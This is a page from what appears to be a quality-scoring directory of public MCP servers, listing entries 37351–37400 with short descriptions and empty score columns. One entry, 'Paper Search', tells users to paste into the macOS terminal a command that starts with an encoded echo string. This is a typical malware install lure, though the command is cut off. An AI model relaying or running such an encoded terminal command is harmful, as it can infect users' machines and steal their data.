MCP Server Quality Scores

Independent quality analysis of 69419 public MCP servers

69419
Discovered
→
34036
Scored
→
2112
Verified
→
16953
Complete

Last updated 8 hours, 52 minutes ago

Grade Distribution

Score Distribution

# Server Score ↓ Visibility Schema Protocol Reliability Maint. Security Agent Lang
○ Unscored
37351
lennney
Free multi-source search for AI agents with multi-source verification, token sa…
— ○ ⏳ — — — — — —
37352
ejsinfuego
A local MCP server for AI assistants to store and retrieve personal memories on…
— ○ ⏳ — N/A N/A — — —
37353
PHUICMT
sarup Claim
Enables context compression for Claude Code with Thai language support, reducin…
— ○ ⏳ — N/A N/A — — —
37354
Imanity-Software
MCP server that reads Spark profiler files to give accurate Minecraft server tu…
— ○ ⏳ — N/A N/A — — —
37355
Sahib-Sawhney-WH
Provides a secure gateway to the Dynamics 365 F\&O OData API, enabling LLMs and…
— ○ ⏳ — — — — — —
37356
MohamedElashri
An MCP server and CLI tool that allow LLMs to interact with CERN ROOT files.
— ○ ⏳ — — — — — —
37357
groundlens-dev
Enables hallucination detection for AI assistants by providing tools to assess …
— ○ ⏳ — N/A N/A — — —
37358
davenicoll
Enables AI-powered management of Google Keep notes, including search, create, u…
— ○ ⏳ — — — — — —
37359
koosty
yacy-mcp Claim
Enables AI applications to perform web searches using a YaCy search engine inst…
— ○ ⏳ — — — — — —
37360
msr2903
MCP server to search Mercari Japan listings with query, price range, and exclud…
— ○ ⏳ — — — — — —
37361
vivekjne
Deploy a remote MCP server on Cloudflare Workers without authentication. Enable…
— ○ ⏳ — N/A N/A — — —
37362
SindaBNO
eu-filings Claim
Access European company data and financial filings from multiple sources includ…
— ○ ⏳ — — — — — —
37363
ChrisArrington
Connects Claude to your Yahoo Fantasy Baseball team, enabling lineup management…
— ○ ⏳ — N/A N/A — — —
37364
dsoziev1
MCP server that provides access to Auth0 Management API v2, offering read-only …
— ○ ⏳ — — — — — —
37365
binaryFlow
Enables MCP clients to list, view details of, and update Microsoft Planner task…
— ○ ⏳ — N/A N/A — — —
37366
sobby23
AVA Claim
MCP server for recruiting pipeline that evaluates resumes against job descripti…
— ○ ⏳ — N/A N/A — — —
37367
subhubapps
lasso Claim
Run your OneLasso partnership program from your AI assistant: leads, partners, …
— ○ ⏳ — — — — — —
37368 — ○ ⏳ — N/A N/A — 95 —
37369
Popy21
claude-news Claim
Claude Real Time News Popy21/claude-news-mcp https://claudenews.online/api/mcp
— ○ ⏳ — — — — — —
37370
gabrielmahia
remit-mcp Claim
MCP server for African diaspora remittance optimization, enabling comparison of…
— ○ ⏳ — — — — — —
37371
Im-Hal-9K
A remote MCP server deployable on Cloudflare Workers without authentication, al…
— ○ ⏳ — — — — — —
37372
Streamize-llc
htmlbook Claim
Publish AI-generated HTML & Markdown to a hosted, shareable URL via MCP.
— ○ ⏳ — — — — — —
37373
megaumnick
Enables building and exploring a knowledge graph from files (PDF, DOCX, code) w…
— ○ ⏳ — — — — — —
37374
sahilgoswami0901indiamart
A minimal MCP server that provides weather data using Open-Meteo API, designed …
— ○ ⏳ — — — — — —
37375
cluesang
Controls a MyCobot280 robot arm through MCP tools, allowing joint angle manipul…
— ○ ⏳ — N/A N/A — — —
37376
koen
adpage Claim
— ○ ⏳ — N/A N/A — 95 —
37377
carsonroell-debug
leadenrich-mcp Claim 1
Waterfall lead enrichment — cascades Apollo, Clearbit, and Hunter for max cover…
— ○ ⏳ — N/A N/A — 67 —
37378
papersearch
Paper Search Claim
Important! To install, open the MacOS terminal and enter the command: echo 'L2…
— ○ ⏳ — — — — — —
37379
anilreddykota
Bridges AI coding assistants with website codebases, local git repositories, an…
— ○ ⏳ — N/A N/A — — —
37380
philipvanlewis
Enables to manage Plane CE projects, issues, pages, modules, cycles, and more v…
— ○ ⏳ — — — — — —
37381
SaltfishSheep
Enables AI agents to search Minecraft obfuscated name mappings (class, method, …
— ○ ⏳ — N/A N/A — — —
37382
akashdeep01
Provides intelligent guidance for EMR cluster management, configuration recomme…
— ○ ⏳ — — — — — —
37383
mariocosttaa
MCP server for browser automation with AI agents, enabling network payload capt…
— ○ ⏳ — N/A N/A — — —
37384
ageorg06
mcp Claim
— ○ ⏳ — N/A N/A — 95 —
37385
jagalliers
appd-mcp Claim
A read-only MCP server for AppDynamics that exposes 12 task-oriented tools to q…
— ○ ⏳ — N/A N/A — — —
37386
jkitchin
fairchem-mcp Claim
An interactive MCP server for FAIRChem and ASE simulations that allows LLM agen…
— ○ ⏳ — N/A N/A — — —
37387
LBD-mocha
munyeona-mcp Claim
야간·휴일에 문 연 병원, 약국, 응급실 후보를 찾고 전화 확인 문구, 카카오맵 링크, 방문 체크리스트까지 만드는 상용 지향 MCP 서버입니다…
— ○ ⏳ — N/A N/A — — —
37388
JordanRO2
idamesh Claim
MCP server for IDA Pro: decompiler, disassembler, and analysis tools for MCP cl…
— ○ ⏳ — N/A N/A — — —
37389
elliot-evno
A basic MCP server template with example tools for echoing messages and retriev…
— ○ ⏳ — N/A N/A — 95 —
37390
Cloud2BR-MSFTLearningHub
Deploys a Model Context Protocol (MCP) server on Azure with industry-specific t…
— ○ ⏳ — — — — — —
37391
amitrechavia
TypeScript MCP server that enables AI agents to manage LangSmith traces, prompt…
— ○ ⏳ — — — — — —
37392
oaslananka
Production-grade Model Context Protocol server for Google NotebookLM that lets …
— ○ ⏳ — — — — — —
37393
Semondora
A foundation for building interactive applications using the Model Context Prot…
— ○ ⏳ — N/A N/A — 95 —
37394
javiarmesto
MCP server that integrates with Microsoft Dynamics 365 Business Central, enabli…
— ○ ⏳ — N/A N/A — — —
37395
camcarre
hevymcp2 Claim
— ○ ⏳ — N/A N/A — 95 —
37396
solentlabs
ai-journal Claim
A local MCP server for journaling, organizing, and recalling your work. It capt…
— ○ ⏳ — N/A N/A — — —
37397 — ○ ⏳ — N/A N/A — 95 —
37398
Try3D
JupyterMCP Claim
Enables AI agents to create, read, edit, and execute Jupyter notebook cells, ma…
— ○ ⏳ — N/A N/A — — —
37399
Enhanced Linux filesystem access with symlinks, permissions, and chmod support
— ○ — N/A N/A — 81 —
37400
ebongard
Watches local and SMB folders for settled new files and pushes them into the Re…
— ○ ⏳ — N/A N/A — — —
Showing 37351–37400 of 69419 servers
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